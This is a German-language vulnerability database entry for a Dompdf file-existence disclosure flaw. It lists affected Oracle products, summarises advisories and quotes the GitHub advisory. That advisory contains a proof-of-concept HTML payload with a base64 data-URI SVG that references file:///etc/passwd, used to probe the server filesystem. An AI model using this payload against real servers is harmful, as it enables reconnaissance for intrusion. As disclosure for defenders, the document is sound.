CVE-2026-59943
mediumPriorität · verfolgen · 21EPSS 0.004 · 36. PerzentilDEEUNLUSEPSS · bewertet 2026-10-27
Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · low–medium · 1.7–6.5
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (18)
Betroffene Produkte und Versionsbereiche.
- Oracle Communications Cloud Native Core Security Edge Protection Proxy 25.2.201alle Versionencert_bundDEcpe:/a:oracle:communications:cloud_native_core_security_edge_protection_proxy_25.2.201
- Oracle Communications Cloud Native Core Security Edge Protection Proxy 26.1.200alle Versionencert_bundDEcpe:/a:oracle:communications:cloud_native_core_security_edge_protection_proxy_26.1.200
- Oracle Communications MetaSolv Solution Module 70.0.0alle Versionencert_bundDEcpe:/a:oracle:communications:metasolv_solution_module_70.0.0
- Oracle Communications Operations Monitor 6.1alle Versionencert_bundDEcpe:/a:oracle:communications:operations_monitor_6.1
- Oracle Communications Service Catalog and Design 8.0-8.3alle Versionencert_bundDEcpe:/a:oracle:communications:service_catalog_and_design_8.0_-_8.3
- Oracle Communications Unified Assurance 6.1.1-7.0.0alle Versionencert_bundDEcpe:/a:oracle:communications:unified_assurance_6.1.1_-_7.0.0
- Oracle Communications Unified Assurance 7.0.0alle Versionencert_bundDEcpe:/a:oracle:communications:unified_assurance_7.0.0
Advisories (3)
Hersteller- und Ökosystem-Meldungen dazu.
- NCSC-2026-0375Kwetsbaarheden verholpen in Oracle CommunicationsNL2026-09-16csaf · ncsc_nlNL
Oracle heeft 31 kwetsbaarheden verholpen in diverse Oracle Communications-producten, waaronder Oracle Communications Unified Assurance, Oracle Communications Cloud Native Core Security Edge Protection Proxy, Oracle Communications MetaSolv Solution Module - ASR, Oracle Communications Service Catalog and Design en Oracle Communications Operations Monitor.
- WID-SEC-W-2026-3403Oracle Communications: Mehrere SchwachstellenDeutsch2026-09-15csaf · cert_bundDE
Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Communications ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.
- GHSA-j8qw-6jw8-r297Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem2026-07-22ghsa · osvUS
### Summary If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. ### Details Using an `<image>` element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the `href` or `xlink:href` attributes. When processing a file that does not exist (e.g. `file:///DOESNOTEXIST`), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. ``` [Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173 [Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196 ``` ### PoC First, the attacker renders this HTML document: ``` <html> <head> </head> <body> <img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo="> Hello World! </body> </html> ``` The `<img>` tag contains the following SVG content: ```xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100"> </svg> ``` As expected, the resulting PDF contains a broken image: <img width="621" height="193" alt="image" src="https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2" /> However, when supplying a path to a file or directory that does not exist, for example: ```xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100"> </svg> ``` The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position: <img width="616" height="922" alt="image" src="https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9" /> ### Impact By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.
auch bekannt als (3)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (10)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0cnnvd
- https://github.com/dompdf/dompdf/releasesPatchcnnvd
- https://github.com/dompdf/dompdf/releases/tag/v3.1.6cnnvd
- https://github.com/dompdf/dompdf/security/advisories/GHSA-j8qw-6jw8-r297cnnvd
- https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0enisa_euvd
- https://github.com/dompdf/dompdf/releases/tag/v3.1.6enisa_euvd
- https://github.com/dompdf/dompdf/security/advisories/GHSA-j8qw-6jw8-r297enisa_euvd
- https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0Patchnvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan